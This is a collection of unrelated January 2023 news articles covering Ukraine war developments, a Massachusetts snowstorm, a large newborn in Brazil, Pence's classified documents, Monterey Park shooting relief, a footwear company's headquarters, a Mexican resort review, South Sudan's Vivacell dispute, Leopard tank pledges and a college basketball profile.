Russias foreign intelligence service reported that US-supplied rocket launchers, air defence systems and artillery ammunition had been delivered to the Rivne nuclear power station in the northwest.

Russia did not substantiate these claims with evidence.

EU grants 500m in military aid for Ukraine

Monday 23 January 2023 17:10 , Eleanor Noyce

The EU has approved 500m military aid package for Ukraine, Sky News reports.

Hungary approved the decision, having previously blocked the package. However, it also signalled its opposition towards more sanctions, notably any that would constrict its deal with Moscow on nuclear energy.

Another 45m allocated towards non-lethal equipment is set to be part of the EUs military training mission for Ukraine, as per one of its diplomats.

Hungary won't veto EU arms funding to Ukraine, official says

Monday 23 January 2023 16:40 , Associated Press

Hungarys foreign minister said that while his government is not in favour of the European Union sending funding for weapons to Ukraine, it will not block a planned tranche of 500m (438m) in assistance to Kyiv to use in the war with Russia.

Speaking at a news briefing on the sidelines of a meeting of EU foreign ministers in Brussels, Peter Szijjarto dismissed as lies media reports that emerged last week that Hungary planned to veto the funds earmarked for Ukraine under the blocs European Peace Facility.

Hungary opposes the delivery of Western weapons to Ukraine  something Mr Szijjarto said could lead to the prolongation or potential escalation of the war  but the government wont veto the aid package, he said.

We dont consider weapons shipments, nor the hundreds of millions of euros Europe has spent to finance them, a good idea. But we wont block the decision, he said.

Russia may have orchestrated letter bomb to Spanish prime minister

Monday 23 January 2023 16:23 , Eleanor Noyce

Russian military intelligence officers may be behind the letter bomb sent to the Spanish prime minister, the New York Times reports.

The event was part of a wider letter bomb campaign in Spain.

US officials believe that Russian officers directed individuals from a white supremacist militant group to carry out the attacks, of which there were six in total. One person was injured.

The Russian Imperial Movement has been designated a terrorist organisation by the US, and has members across Europe. Investigators are now looking into this movement.

US officials also believe that Russia could be testing out its proxy organisations.

Germany sends Patriots on way to Ukraine

Monday 23 January 2023 16:03 , Liam James

Germany has dispatched the first two out of three Patriot air defence units that will be sent to the Polish town of Zamosc close to the Ukrainian border where they will be deployed to prevent stray missile strikes.

Two men were killed by a stray Ukrainian missile that struck the Polish village of Przewodow in the region last November, in an incident that raised fears of the war in Ukraine spilling over the border.

As a result, Berlin offered to deploy three of its Patriot units to Poland to help secure its air space. Ground-based air defence systems such as Raytheons Patriot are built to intercept incoming missiles.

Convoy of German Patriots on the way to Poland (Reuters)

Norway denies planning to deport Wagner asylum seeker

Monday 23 January 2023 15:26 , Liam James

Norwegian authorities have denied planning to deport an asylum seeker who entered the country to flee the Wagner group of mercenaries.

Russian Andrey Medvedev, formerly a fighter with Wagner, has been arrested under the Immigration Act and it is being assessed whether he should be produced for detention, Jon Andreas Johansen of Norwegian immigration police told The Associated Press. Norways VG newspaper said detaining him is not a punishment, but a security measure.

Norways National Criminal Investigation Service, which takes part in the investigation of war crimes in Ukraine said it was questioning Mr Medvedev who has the status of a witness.

Mr Medvedev, who has been on the run since he defected from the Wagner Group, has reportedly told Gulagu.net that he is ready to tell everything he knows about the shady paramilitary group and its owner Yevgeny Prigozhin, a millionaire with ties to Russian president Vladimir Putin.

Andrei Medvedev after arriving in Norway (Gulagu)

Zelensky ally says Ukrainian officials to be jailed in anti-corruption drive

Monday 23 January 2023 14:00 , Liam James

A top ally of Ukrainian president Volodymyr Zelensky said corrupt officials would be rounded up and jailed as part of a zero tolerance policy, after the most high-profile graft allegations since Russia invaded burst into public view.

On Sunday, anti-corruption police said they had detained the deputy infrastructure minister on suspicion of receiving a $400,000 (324,000) kickback to facilitate the import of generators into wartime Ukraine last September.

Separately, a newspaper investigation published on Saturday accused the Defence Ministry of overpaying suppliers for food for its soldiers. The ministry said the report contained signs of deliberate manipulation and was misleading.

David Arakhamia, head of Mr Zelenskys Servant of the People party, said: Were definitely going to be jailing actively this spring. If the humane approach doesnt work, well do it in line with martial law.

Fighting corruption was Mr Zelenskys trademark policy ahead of the invasion, having won a landslide victory in 2019 on a promise to clean up Ukraines crooked institutions.

Russia expels ambassador from Nato member Estonia after it calls for Ukraine to get German tanks

Monday 23 January 2023 13:30 , Liam James

Russia has announced that it is downgrading its relationship with Nato member Estonia by asking the countrys envoy to leave by next month (Sravasti Dasgupta writes).

In a statement on Monday, Russias foreign ministry said both countries would be represented in each others capitals by an interim charge daffaires instead of ambassadors.

It added that the move was in response to an Estonian bid to reduce the size of the Russian embassy in capital Tallinn.

In recent years, the Estonian leadership has purposefully destroyed the entire range of relations with Russia. Total Russophobia, the cultivation of hostility towards our country have been elevated by Tallinn to the rank of state policy, the Russian foreign ministry statement said.

Russia expels ambassador from Nato member Estonia after calls to get German tanks
Pakachoag Church on Pakachoag Street in Auburn is a winter wonderland, from any angle.

Worcester schools will open two hours later than usual Tuesday, with officials citing road conditions as the reason for the delay.

The Worcester parking ban has been lifted.

Meantime, some school districts north of Worcester, including Wachusett and Ashburnham-Westminster, have called off classes for Tuesday. Others will have delays.

UpdatedSchool closings and delays

Plows cleared roads throughout the region into Monday evening after hours of heavy snow. The National Weather Service listed the following totals as of 6 a.m. Tuesday: Sterling 7.8 inches; Ashburnham 7.5; Princeton 7.2; Lunenburg 6; Fitchburg 5.9; Grafton 5.7; Westborough 5.5; Boylston, Hubbardston and Athol 5; Charlton 4.5; Worcester 4; and Shrewsbury and Auburn 3.3.

More snow is expected later in the week.

As of Tuesday morning, Hubbardston, Phillipston and other towns north of Worcester were experiencing widespread power outages. At 7:30 a.m., 84% of customers in Hubbardston were without electricity, according to the Massachusetts Emergency Management Agency. The number was 78% in Phillipston.

The power outage has forced the closing of Wachusett Mountain. The ski area closed early Monday and is hoping to open Tuesday once electricity is restored.

MapPower outages in Massachusetts

[Wednesday-Thursday Snow] No, this isn't snow total's from today, it's expected accumulations from our NEXT system Wednesday evening into Thursday...



This next storm will pack a "front end punch", with most accumulation occurring overnight. pic.twitter.com/Fe1jgIr7t9  NWS Boston (@NWSBoston) January 24, 2023

UpdateWorcester weather report

A delivery truck weaves around sagging and fallen branches on Greystone Drive in Holden Monday.

This article originally appeared on Telegram & Gazette: Weather: Worcester schools on 2-hour delay Tuesday
Big baby in Brazil. https://www.instagram.com/p/CnuraZlI9RI/. Credit:   

   Baby Angerson

A woman in Brazil recently welcomed an extra special bundle of joy: a 16-lb. baby boy.

When it was time to give birth earlier this month to her son  and sixth child  Cleidiane Santos dos Santos said she "didn't expect this surprise."

"I thought it would be four kilos, but he came to seven kilos," the 27-year-old mother told Portuguese-language newspaper El Globo.

Baby Angerson was born via cesarean section on Jan. 18 at Hospital Padre Colombo in Parintins, weighing 7.328 kilograms (about 16.1 lbs.), per the newspaper.

According to the American Pregnancy Association, the majority of full-term babies are born weighing between 6 and 9 lbs. Having a higher birth weight can lead to increased health risks for the newborn and "can make [the] delivery of the baby difficult," per the U.S. National Library of Medicine.

Big baby in Brazil. https://www.instagram.com/p/CnuraZlI9RI/. Credit:   

   Baby Angerson

RELATED: Woman Welcomes Baby Mid-Flight Weeks Before Due Date  and Birth Certificate Says He Was Born 'In the Air

The newborn, sweetly referred to as "bebe gigante" in social media posts by the hospital, is thought to be the largest baby to be born in the state, the newspaper reported, citing the State Department of Health.

Per Guiness World Words, the heaviest baby to survive infancy was born in Italy in September 1955, and weighed 22 lbs., 8 oz.

Never miss a story  sign up for PEOPLE's free daily newsletter to stay up-to-date on the best of what PEOPLE has to offer, from juicy celebrity news to compelling human interest stories.

The Brazilian mom's healthy newborn is currently being monitored in the hospital's NICU, per the newspaper.

And according to the hospital's social media posts, he has already started breastfeeding.

Big baby in Brazil. https://www.instagram.com/p/CnuraZlI9RI/. Credit:   

   Baby Angerson

RELATED: Mom Welcomes Twins  and Learns Her Nurses Have the Same Names: 'Funny Story to Tell Our Girls!'

Santos dos Santos has also praised the hospital staff for their care.

"I want to thank the team at the Padre Colombo Hospital, who are giving me strength and treating me very well, since when I got here, if it weren't for them, I don't know what would become of me," she told the newspaper. "I appreciate each one."
Former Vice President Mike Pences team disclosed Tuesday that documents with classified markings were found in his Indiana home last week, an announcement that cuts against his repeated statements that he did not have classified materials in his possession upon leaving office.

Pence has been asked over multiple interviews in the last five months whether he took any classified materials with him when he left the White House. The questions began in August after the FBI searched former President Trumps Florida home to retrieve classified materials, and they resumed in recent weeks after it was revealed that President Bidens lawyers found classified documents from his time as vice president at his old office and Delaware home.

In each instance, Pence insisted he had been careful and was not aware of any classified materials in his possession.

Pences most recent comments on the matter came on Jan. 10, five days before his lawyers said he directed a thorough review of administration records being stored at his Indiana home.

Our staff reviewed all of the materials in our office and in our residence to ensure that there were no classified materials that left the White House or remained in our possession, Pence told CBS News at the time. And I remain confident that that was done in a thorough and careful way.

In the same interview, Pence acknowledged the process in handling classified materials was not properly executed by Trumps staff, given hundreds of documents ended up at the former presidents Mar-a-Lago estate in Florida.

Pences Jan. 10 comments came shortly after the White House acknowledged classified materials were found at an old office Biden used while working at a Washington, D.C., think tank between his vice presidency and his presidential campaign.

Pence spoke to CBS before it was confirmed documents were found at Bidens home in Wilmington, Del., the event that his lawyer said prompted a more thorough search of Pences Indiana residence.

Story continues

The former vice president had denied having classified documents multiple times in the wake of the August FBI search of Trumps Florida residence. The FBI search came months after federal officials found dozens of classified and highly sensitive documents at Trumps home and after the former president failed to cooperate with requests to turn over remaining materials.

Pence was in Iowa days after the FBI search and was asked by The Associated Press if he took any classified documents with him when he left office.

No, not to my knowledge, Pence responded.

In a November interview with ABC News anchor David Muir conducted at his Indiana home office, Pence was again asked if he took any classified documents with him and said he did not.

Well, thered be no reason to have classified documents, particularly if they were in an unprotected area, Pence said.

Pences team confirmed Tuesday that two boxes containing documents with classified markings were found at his Indiana home on Jan. 16. His lawyers notified the National Archives of their findings, and FBI officials took possession of the boxes on Jan. 19.

Pence earlier this month welcomed the appointment of a special counsel to review Bidens handling of classified materials, arguing that it was a double standard for Trump to face a Justice Department investigation but not Biden.

He was also critical of Bidens team for failing to notify the public about the initial findings of classified materials until roughly two months later. Bidens lawyers first found classified materials at his old office on Nov. 2, 2022, six days before the midterm elections.

The appointment of a special counsel in this case is right. It is proper, Pence told Fox Business Network on Jan. 12, the day the special counsel was appointed. The handling of classified materials and the nations secrets is a very serious matter. And, as a former vice president of the United States, I can speak from personal experience about the attention that ought to be paid to those materials when youre in office and after you leave office.

For the latest news, weather, sports, and streaming video, head to The Hill.
Allen J. Schaben - Getty Images

On Saturday night, the Monterey Park, California, community experienced its most brutal attack to datein the midst of Lunar New Year celebrations, a gunman burst into a ballroom dance hall and killed 10 residents.

Among the deceased were five women and five men. At least 10 others were wounded, police said.

The festival was the most attended Lunar New Year celebration in the majority Chinese-American city near Los Angeles since before the coronavirus pandemic, drawing a crowd of about 100,000 people, Mayor Pro Tem Jose Sanchez told reporters. Following the tragedy, the Sunday celebrations were canceled.

A few minutes after the Star Ballroom Dance Studio shooting, the gunmanidentified by police as a 72-year-old Asian manmade his way to another dance studio, Lai Lai Ballroom in nearby Alhambra, and was disarmed by a group of people, including a young man who spoke to ABC News about the incident. The shooter then fled in a van and took his own life as police closed in on him, Los Angeles County Sheriff Robert Luna said Sunday, per ABC.

See below for ways you can help Monterey Park residents, survivors, and families of the deceased following the horrific shooting.

ROBYN BECK - Getty Images

Donate

GoFundMe launched a page dedicated to supporting the people and families affected by the January 21 shooting. In it, one can see the verified fundraises for the cause. So far, there are two:

The Monterey Park Lunar New Year Victims Fund is gathering donations to help the "many individuals who are now suffering from this senseless violence." The fundraiser is being organized by Asian Americans Advancing Justice Southern California, The Asian American Foundation, Asian Pacific Community Fund, Stop AAPI Hate, Gold House, Stand with Asian Americans, AAPI Equity Alliance, and Chinatown Service Center.

The Los Angeles-based nonprofit Classroom of Compassion is raising money for resources, supplies, and travel for the community. The organization will also be creating 10 public altars to honor the lives lost in the Lunar New Year massacre.

Story continues

The GoFundMe page will be updated with more fundraisers as they are verified.

Support

Soon after the shooting, the Los Angeles County Office of Emergency Management set up a Family Assistance Center at the Langley Senior Center located at 400 West Emerson Avenue for anyone looking to obtain mental health resources. People can also call the @LACDMH 24/7 Help Line at (800) 854-7771.

On Sunday, members of the Los Angeles City and FBI crisis response teams, the county Department of Mental Health, and the Red Cross came together at the center to provide food, aid, and mental health services for survivors. The Red Cross is always taking blood donations.

"Volunteer blood donors are needed each and every day to help save lives. This tragedy illustrates that it is the blood already on the shelves that helps during an emergency. Type O negative is the universal blood type and what emergency room personal reach for when theres not time to determine a patients blood type in the most serious situations. The Red Cross is grateful for all donors who generously give blood throughout the country to help patients in need," the Red Cross said in a statement shared with BAZAAR.com.

A memorial honoring the victims has been established at the Monterey Park City Hall located at 320 W. Newmark Avenue for the community to mourn, per the city's website.

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Footwear company Manitobah has made the move into new headquarters in its founding city of Winnipeg, Manitoba.

The Canadian brand transformed a 5,500-square-foot space on the fourth floor of the Johnston Terminal Building into a work environment meant to reflect its mission-based focus on building community and fostering creativity among Indigenous cultures.

More from Footwear News

The workspace includes a gallery wall to showcase products, while the focal point of the office is the centrally located Community Gathering Area, which will host large company meetings and community events.

It was important to design the space with sensitivity to the heritage requirements of the building and to honor the Indigenous roots of Manitobah, said visual merchandising consultant Sue Hebberts in a statement.

Manitobah team members in the new Winnipeg headquarters. - Credit: Courtesy of Manitobah

Courtesy of Manitobah

That mindset was established from the start of the process. Before beginning construction on its headquarters, Manitobah invited elder Debra Courchene, Sagkeeng First Nation, to lead a ceremony for the space. Anything we do, we start by asking the Creator, our Ancestors, the grandmothers and Grandfathers, for a blessing and direction, Courchene shared.

Manitobah was established in 1997 by Metis entrepreneur Sean McCormick and has been in rapid growth mode in recent years, fueled by a major financial investment from Endeavour Capital of Seattle in 2021. Following that deal, the company brought in industry veteran Greg Tunney as CEO to focus on expansion in the U.S., while McCormick moved to the role of chief impact officer and remained on the board.

The focal point of the Manitobah headquarters is the Community Gathering Area. - Credit: Courtesy of Manitobah

Courtesy of Manitobah

Since then, it has grown its roster of retail partners to include Dillards, Farfetch, Neiman Marcus, Nordstrom, Saks Fifth Avenue and Zappos.com. And it has opened its own stores, including a flagship that is located across the street from the new headquarters.

Story continues

In an interview with FN last month, Tunney said Manitobah plans to continue to grow its distribution and open more doors. This year, were looking at adding three or four more markets in Canada. And in the United States, were looking at places like Park City, Utah; Jackson Hole, Wyo.; Grand Junction, Colo. Were not looking to put them in L.A. or New York.

Manitobah team members in the new Winnipeg headquarters. - Credit: Courtesy of Manitobah

Courtesy of Manitobah

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Sign up for FN's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram.

Click here to read the full article.
Susurros del Corazon opened in Punta Mita, Mexico, in November 2022.

Courtesy of Auberge Resorts Collection

Our first family vacation didnt go very well. My husband and I planned a week-long trip to Copenhagen last August when our son, Luca, was eight months old, thinking that the weather would be amazing and that Luca was young enough to just go with the flow. (Hear that? Its the sound of more experienced parents laughing at our naivete.) While the first of our conjectures proved true, the latter did not. Between learning to crawl, experiencing major jet lag, and catching a nasty cold, Luca spent the whole trip completely out of sorts. By the end, we were all sick and exhausted.

Eager for a do-over, my husband and I agreed that we should keep our second attempt super simple and head to a beach resort. Wed been talking about getting back down to Mexico, so I suggested checking out the new Susurros del Corazon, Auberge Resorts Collection, near Punta de Mita on Mexicos Pacific Coast. We could book a direct flight from New York, it would be a measly one-hour time difference, and Id heard raves about how well the brand caters to pint-size travelers.

On a Thursday in mid-December, just before the holiday-travel rush, we flew down to Puerto Vallarta, which serves as the gateway to Riviera Nayarit. After zipping 45 minutes north on the highway, we pulled into a long drive that cuts through a lush green lawn and lake. As the path curled around, I spied a group of staff members waiting to greet us at the hotel entrance with ice-cold glasses of tepache, a drink made from fermented pineapple.

Welcome to Susurros  welcome home, said Rodrigo Trejo, who introduced himself as our cuate. The title, shared by a team of three concierges, translates to good friend. In the five-minute walk to our room, we swapped stories about where wed each grown up and how wed weathered the pandemic. I began to understand just how appropriate that friend designation was.

Id been so focused on our conversation that I hadnt taken a moment to fully appreciate the resort and its setting  until we entered our room. Designed by Glazier Le Architects, Susurros comprises an elegant clutch of 28 rooms, 33 suites, and 30 villas in contemporary white buildings overlooking the Bahia de Banderas. With Luca in my arms, I made a beeline for the terrace of our second-floor oceanview casita to soak up views of the bay and point out the Islas Marietas in the distance. Turning back around, I scanned the room  half looking for things I needed to move out of Lucas reach, but also to appreciate the decor elements. The airy, minimal interiors by Paul Duesing put the focus on Mexican-made crafts and natural materials like terracotta animal figurines from San Jose del Cabo in Baja Sur, woven basket masks from Oaxaca, custom wood headboards from Guadalajara, and a totem of three pillars from Mexico City.

Story continues

Courtesy of Auberge Resorts Collection

After freshening up, we decided to grab an early dinner at Casamilpa, the farmhouse-inspired restaurant that fronts a 2,000-foot-long stretch of private beach. At 13 months, Luca was a somewhat new (read: messy) eater  to say nothing of his hangry streak, so I was antsy about how hed fare after a full travel day. The team couldnt have been more on top of things. As we sat down and said hellos, a high chair and kids menu appeared from around a corner, followed by a deep plate that suctioned to the tray table and kept Luca distracted for the few minutes it took for his breaded catch of the day to arrive.

Sarah Bruning

With Luca feasting away, Prashanth and I were free to browse the menu from chef Tonatiuh Cuevas, who draws inspiration from local vendors and the areas Indigenous Huichol nation. We kicked off our meal with a pair of chili mezcal cocktails (a smoky combination of mezcal, ancho reyes, lime juice, and grilled pineapple) and the ceviche Fabiana, named for a fishmonger who put his own spin on the marinated-seafood dish (a mix of shrimp, scallops, and octopus) by serving it in a warm chile-spiked broth. We followed it up with the fileted red snapper, slicked with green salsa on one side, red on the other, and served with simply roasted vegetables, plus pliant corn tortillas for DIY tacos. The dishes reminded me of something general manager Jose Adames had said to me earlier. We didnt want to just offer burgers and pizza or play music that guests would hear at home, hed said with pride.

Sarah Bruning

The next morning began with another proof point: a pot of fresh coffee, spiked with cinnamon in the local style and delivered right to our room. Prashanth and I poured ourselves multiple cups on the terrace as Luca sat nearby, examining the embroidered wool whale that had been waiting for him when we arrived. After breakfast at Casamilpa  chilaquiles for the adults, fluffy pancakes for the tot, and conchas all around  we made our way to a private cabana at the family pool. Flanked by the relaxation and adult pools on either side, its distinguished by toddler-friendly shallows and waterfall features built into the wall. We gingerly encouraged Luca to dip his toes in, while another trio of Americans with a slightly older son splashed around the far side of the pool. Behind us, a mom and college-age daughter made their way to the adult pools swim-up bar for cocktails.

Sarah Bruning

While the guys lingered in the cabana, I headed to an energy healing session with a local healer named Azucena Medina. The full 31,000-square-foot spa, Onda, will debut in the coming months, but my Cielo treatment made good use of one of the propertys spacious suites. Combining elements of traditional massage and reiki therapy, Azucena took inventory of my body, methodically working my muscles to unblock areas of trapped stress and fatigue. Youre a mother, right? she said quietly in my ear. Its so easy to get swept up in everything and forget that you are enough. But you are doing enough. You are a good mother. A good partner. A good daughter.

Courtesy of Auberge Resorts Collection

I felt myself getting weepy. Somehow, she had tapped into my inner monologue and pinpointed the anxieties that had been running through my mind on an endless loop for the past year. I took a deep breath and bit my lip as she encouraged me to take a series of deep breaths. When our hour was up, I gathered myself and exited the room.

How do you feel? asked Medina.

Lighter, I replied. Much, much lighter.

That evening, wed scheduled an early wine tasting, so we left Luca in the care of Janeth Perez Sandoval, a member of the Los Morritos kids club team  and a mom herself. Prashanth and I strolled down to the beach as the sun started to set and found a private table decked out with glasses and a sizable spread of local meats and cheeses. The Mexican Wine Club experience is designed as an introduction to the countrys wine regions. Our sommelier, Luis Fernando Villega, explained that wed sample five different wines and circle three words from the given lists to describe the aroma and three for the mouth feel. At the end, wed tally up who had the most correct guesses. Prashanth and I exchanged a competitive glance. Game on.

We ended up tied, score-wise, but the real fun was in discovering new-to-us producers, including Puerta del Lobo. Located in Queretaro, which Villega dubbed one of the countrys most interesting appellations, the vineyard sits about 90 minutes southeast of San Miguel de Allende (or three hours north of Mexico City). Sparkling wines are a specialty of the region, so we tried a 2020 brut, which I loved for its high acidity and subtle honeycomb notes.

After repeating our new breakfast ritual at Casamilpa, with Luca swapping his beloved pancakes for scrambled eggs and me trading chilaquiles for a huitlacoche-flecked omelet, we spent the morning on the beach. We zig-zagged along the nearly 2,000-foot-long stretch of sand, dodging the cool waves that crept up the shoreline and watching a pair of guests learning how to surf the beginner-friendly waves. When we ducked back under our umbrella, a bevy of sand toys were waiting for Luca to play with.

For lunch, we grabbed a table at La Boquita, the propertys more casual bar, and ordered the full slate of tacos: shrimp, grilled fish, rib eye, and gringa, an al pastor riff with melted cheese. The mom and daughter wed seen the day prior struck up a conversation after Luca popped his head over the bench to wave hello. As it turned out, the Atlanta-based duo had booked their girls trip after the mom had spent a week at Susurros after it opened in November 2022. And Ill be back again in March, she admitted, with a laugh.

Honestly, I couldnt blame her. Susurros had all the shine of a brand-new hotel, but the hospitality, food, and experiences had the polish of a resort that had been operating for much longer. I suspect that comes from ensuring every aspect of the property demonstrates a deep sense of place. One of the people tasked with making that happen is Koa Fernandez, the resorts experiences curator, who has been developing the resorts programming and encouraged me to attend that evenings cacao ceremony, a ritual that weaves together songs and stories drawn from Mayan traditions.

As the four of us in attendance that night sat around the communal IxCacao altar sipping the ceremony-grade cacao, healer Gina Cordova invited us to take turns offering intentions and sprinkling seeds and flowers to complete the arrangement. At various points, she paused to determine each persons nahuatl, or spirit totem. Mine was kej, or the deer, a guardian whose characteristics include leadership and loyalty.

You have a deep love inside you, Cordova told me. It is your guiding force, but you must nurture yourself to nurture it.

Her words resonated deeply and once again reminded me how much of the past year Id spent in pure survival mode. When it came time to close the session, Cordova asked us to close our eyes and reflect on gratitude. I bowed my head and thought back over the past few days. Our first family trip had been so consumed by logistics, like figuring out how to schlep everything we needed and squeeze in sightseeing between Lucas all-too-short naps. This time around, wed been able to relax and revel in all the new experiences he was having. Gratitude felt like a wholly insufficient way of describing that feeling.

By our last full day, it seemed like Luca had been elected mayor of the place. The pool attendant wed met at the cabana remembered his name. He blew kisses to the staff as we walked up to the hostess stand. We soaked up the warm weather with another morning hang on the beach and tried coaxing Luca to splash in the crisp waves one last time. He still wasnt a fan, but the Southern Californian in me refuses to give up hope.

Before grabbing another round of tacos at La Boquita for lunch, I popped by Sombrero del Alma, a recurring pop-up from local artisan Mariana Ortega, the owner of Mowi Hats. Several times a month, Ortega arrives to customize handmade felt and straw hats she sources from Indigenous communities in Mexico and other parts of Latin America. I work with Montecristi women in Panama to design them, and I get beading from the local Huichol people here in Nayarit, Ortega told me. My main goal is to support as many jobs as I can. Right now, I work with six communities, with about 10 people in each. (An emphasis on sustainable sourcing is also present in Fashionkind, the boutique from Nina Farran and Sophia Bush, which was set to open just days after our departure.)

Although part of me was eager to hit up Loteria Night at La Boquita (who doesnt love a little bingo?), I was curious about another activity Id seen on the schedule: Modern Ancestral. So while Prashanth put Luca down for the night, I wandered down to the beach. In a quiet outcropping, tucked away from the pools and Casamilpa, I found a half-dozen blankets and cushy chairs clustered in a semi-circle around a crackling fire pit. Positioned at the front was Bart Kropff, a Dutch expat who leads this music-meets-meditation sound bath every Sunday at dusk. I hunkered down in one of the chairs and settled under a heavy blanket as Kropff began looping layers of flute, saxophone, and synthesizers to create an otherworldly song.

The hamster wheel in my brain habitually resists shutting off, so I was surprised to find myself lost in the track Kropff created. At various points, he came around to play his sax directly in front of each person, close enough for us to feel the vibrations and, surprisingly, lull me into a state of actual relaxation. When I met Prashanth for dinner and a private raicilla tasting about an hour later, he even commented on how atypically calm I looked.

Our last morning came all too quickly. Luca, the early worm to my night owl, was up and eager to greet the day at 7 a.m. sharp, but oddly enough, so was I. Not only had our little crew been able to spend some much-needed quality time focused on each other, but Id been able to carve out space for myself, too. Driving away, I remembered what Cordova had said about making room in my schedule for more things that feel restorative. It may not be a full vacation or even a massage, but a weekly taco night with the fam? Yeah, that I can commit to.



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Read the original article on Travel & Leisure.
South Sudans government has been availed of US$4.48 million by the countrys Council of Ministers to aid its legal appeal against the now defunct mobile operator Vivacell.

Reuters reports that South Sudans government switched off Vivacells services overnight in March 2018. The government argued that Vivacell had not obtained a licence after South Sudan gained independence, and was instead using a licence issued by Sudan which enabled it to circumvent taxes and licence fees totalling US$66 million.

Vivacells parent firm Al Fattouch Group argued that it was using the Sudanese licence legally and therefore owed no taxes. It launched a case against South Sudan in the International Court of Arbitration for restitution of US$3 billion, of which it was eventually awarded US$1 billion.

Eye Radio reports that the government of South Sudan is now looking to overturn this ruling, and will use the funds granted by the Council of Ministers to hire domestic and overseas law firms to challenge the settlement.
Twelve countries have agreed to supply Ukraine with around 100 Leopard 2 tanks if the German government gives its consent, according to a senior Ukrainian official who spoke exclusively to ABC News.

Those agreements, the source said, were made at Friday's summit at Ramstein US Air Force Base in Germany when allied nations discussed military support for Ukraine.

Countries such as Poland and Finland have already indicated publicly that they are willing to provide a number of their Leopard 2 tanks to Ukraine.

MORE: McCaul calls on US to send 'just one' Abrams tank to Ukraine to spur European support

The Ukrainian official with knowledge of the matter said Spain, the Netherlands and Denmark were also willing to provide some of their tanks, however Germany's consent was still necessary for the coalition of countries to proceed on the matter.

As the country where the military hardware is manufactured, Germany has to approve the export license if countries want to supply some of their tanks to a third nation, such as Ukraine.

The Biden administration and other western governments are working to increase Ukraine's military capabilities ahead of a possible escalation in the fighting in the coming weeks or months.

PHOTO: An armored unit with Leopard 2 A7 main battle tanks during educational practice at the military training area in Munster, Germany. (Patrik Stollarz/AFP via Getty Images, FILE)

During a briefing last week, a western diplomat called it "the right moment" to provide new capabilities such as tanks to Ukraine.

"Ukraine's allies have the ability to increase the quantity and quality of Ukraine's military capabilities in a way that Russia simply doesn't," the diplomat said.

However the senior Ukrainian official, who spoke with ABC News on condition of anonymity, said the German-made Leopard tanks were also urgently needed by Ukraine because its stocks of ammunition for its soviet-era tanks are "running out."

MORE: Expect more strikes 'deeper and deeper' into Russia, Ukraine's spy chief tells ABC News

Ukraine is unable to produce new ammunition for these Soviet era tanks, the official said, "so this forced us to find an alternative way."

Story continues

Earlier this month the U.K. made a symbolic gesture by pledging to supply Ukraine with 14 of its Challenger 2 tanks.

The move was an attempt by the U.K. government to convince Berlin to move on its Leopards. The senior Ukrainian official with knowledge of the matter told ABC News that it helped.

PHOTO: A Leopard 2 tank is pictured during a demonstration event held for the media by the German Bundeswehr in Munster near Hannover, Germany, Sept. 28, 2011. (Michael Sohn/AP, FILE)

"It started to be realistic after the decision in the UK. (UK Defense) Minister Wallace broke through this wall," the official said.

Germany has faced criticism for delaying its decision on whether to approve the export of Leopard tanks.

In an interview broadcast on German TV last Thursday, the day before the Ramstein summit, Ukrainian President Volodymyr Zelenskyy suggested the delay was costing lives.

MORE: Former Navy SEAL killed fighting in Ukraine

"People die here, every day," he said. "In plain language, can you deliver Leopards or not?"

However the senior Ukrainian source told ABC News that there was a great "understanding" that the Ramstein summit took place on the second working day for the newly-appointed German Defense Minister, Boris Pistorius.

"It's not the time to put pressure on a newly appointed minister of defense. We fully understand (the need) for him to discuss it further," the official told ABC News.

Ukraine expects to get 100 Leopard 2 tanks from 12 countries, once Germany approves: Senior Ukrainian official originally appeared on abcnews.go.com
AUSTIN, Texas  Tyrone Jones still marvels at the memory.

His 5-year-old son has a toy basketball in his hands. Hes standing a few feet from the Fisher Price basketball goal inside their Pflugerville, Texas, home. Hes making shot after shot.

It was magical, man, Jones said. You could see it.

Even as a little tike, Caleb Asberry had potential.

Shot after shot. Make after make.

A love for the game developed quite early. Asberry rarely let go of that basketball.

I remember basically holding that little orange ball in my hands all day like it never left my side, Asberry said.

That was the first sign to Jones that Asberry would be different.

Tramel's ScissorTales:Big 12 basketball power rankings include two distinct tiers

Oklahoma State's Caleb Asberry dunks the ball during the Cowboys' game against OU at Gallagher-Iba Arena in Stillwater on Wednesday, Jan. 18. Oklahoma State won 72-56.

That old goal was eventually switched out for an electronic Nerf goal until Asberry and his younger brother were too big and forced to a new goal outside. But Jones will think of the first goal Tuesday night.

His son will play on the biggest stage in front of 20 or more friends and family near his hometown.

When surging Oklahoma State faces 10th-ranked Texas late Tuesday night in the new Moody Center, Asberry will be just 20 minutes from home, and he will be against a team he rooted for as a child.

Now, hes a dynamic sixth-man for the Cowboys making a huge difference as a transfer super-senior for a veteran team finding its way.

I feel like I could be anywhere else, Asberry said. Magically, I landed at Oklahoma State and I get to play probably one of my dream schools. Its a blessing.

Asberry, a 6-foot-3 guard, averages 8.1 points, 3.5 rebounds and 1.8 assists in 24.4 minutes per game. Hes made a team-best 12 3-pointers over the past five games.

And hes been a revelation defensively, playing lock-down defense on the perimeter and showing an athleticism that allows him to block shots.

He plays with a chip on his shoulder, OSU coach Mike Boynton said. He believes he should have been at this level his whole career. He wants to in those games and environments show that hes as good as anybody else on the court.

Story continues

More:Despite ankle injury, Moussa Cisse sparking Oklahoma State men's basketball with 'defensive presence'

At Pflugerville High, he was largely unrecruited. Jones attributed it partially due to a late start on the AAU circuit. Only NAIA schools and junior colleges offered scholarships.

Dealing with it was kinda tough, Asberry said, because lets be honest, every athlete dreams to play at the Division I level and when that didnt happen, I was crushed but I never showed it."

So, Asberry bet on himself. He went to Ranger (Texas) College to play for Billy Gillispie.

It was there that Asberry learned the importance of an all-around game.

Asberry thought a junior college coach wouldnt care about defense. Gillispie, though, stressed the importance. Its all that mattered to the veteran coach.

I didnt even care about defense," Asberry said. "Ever since I left Ranger, thats been on my mind is defense. Thats how you play.

After one season, Asberry transferred to Texas State, where he played for another defense-first coach  Danny Kaspar  for a season. After Kaspar resigned, Asberry played the next three seasons for Terrence Johnson and improved more as a defender while becoming an All-Sun Belt First Team selection last season.

'Get over that hump':How Oklahoma State basketball rallied to stun No. 12 Iowa State

Oklahoma State's Kalib Boone, left, and Caleb Asberry celebrate after beating Iowa State at Gallagher-Iba Arena in Stillwater on Saturday.

I think it actually worked out best for us, Jones said about the journey.

But Asberry wanted to prove he could play at the highest level.

He entered the transfer portal. OSU was quickly on him. Texas showed interest, though it was only heavy after Asberry started to focus on the Cowboys. But Asberry never felt comfortable with the Longhorns, even though they feature two former Austin-area opponents in Dylan Disu and Brock Cunningham.

